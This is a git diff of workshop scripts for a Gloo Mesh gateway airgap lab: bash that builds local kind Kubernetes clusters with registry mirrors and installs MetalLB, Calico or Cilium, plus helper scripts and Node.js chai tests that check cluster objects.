+kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/md-to-bash.sh b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/register-domain.sh b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/snapdiff.sh b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/tests/can-resolve.test.js.liquid b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/tests/chai-exec.js b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/tests/chai-http.js b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/chai-http.js new file mode 100644 